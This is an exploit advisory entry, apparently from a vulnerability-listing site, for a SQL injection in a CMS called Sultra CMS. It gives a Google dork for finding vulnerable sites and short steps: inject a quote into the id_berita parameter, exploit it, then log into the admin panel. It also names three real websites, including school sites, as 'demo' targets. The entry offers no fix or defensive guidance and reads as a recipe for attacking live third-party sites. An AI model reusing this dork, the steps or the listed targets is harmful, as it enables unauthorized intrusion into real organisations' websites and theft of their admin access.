Sultra CMS SQL Injection

2018.06.30
id 0N3R1D3R (ID) id
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A
Dork: inurl:?menu=baca_berita

*************************************************** # Exploit Title: Sultra CMS SQL Injection # Google Dork: inurl:?menu=baca_berita # Date: 30/06/2018 # Author: 0N3R1D3R # Team: Error Violence # Tested on: Windows 10 x64 *************************************************** [+] Search the dork in Google [+] Open target [+] Give ' in your target, example ( www.target.com/?menu=baca_berita&id_berita=94'&go=38b3eff8baf56627478ec76a704e9b52 ) [+] Inject your target [+] Login admin ( /admin ) *************************************************** [+] Demo Site [+] http://www.sman8kendari.sch.id/?menu=baca_berita&id_berita=3&go=d3d9446802a44259755d38e6d163e820 [+] http://www.smpn2wawoniiutara.sch.id/?menu=baca_berita&id_berita=96&go=6974ce5ac660610b44d9b9fed0ff9548 [+] http://fathulislampress.com/?menu=baca_berita&id_berita=94&go=38b3eff8baf56627478ec76a704e9b52 *************************************************** Thanks To Error Violence

References:

Personal research


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top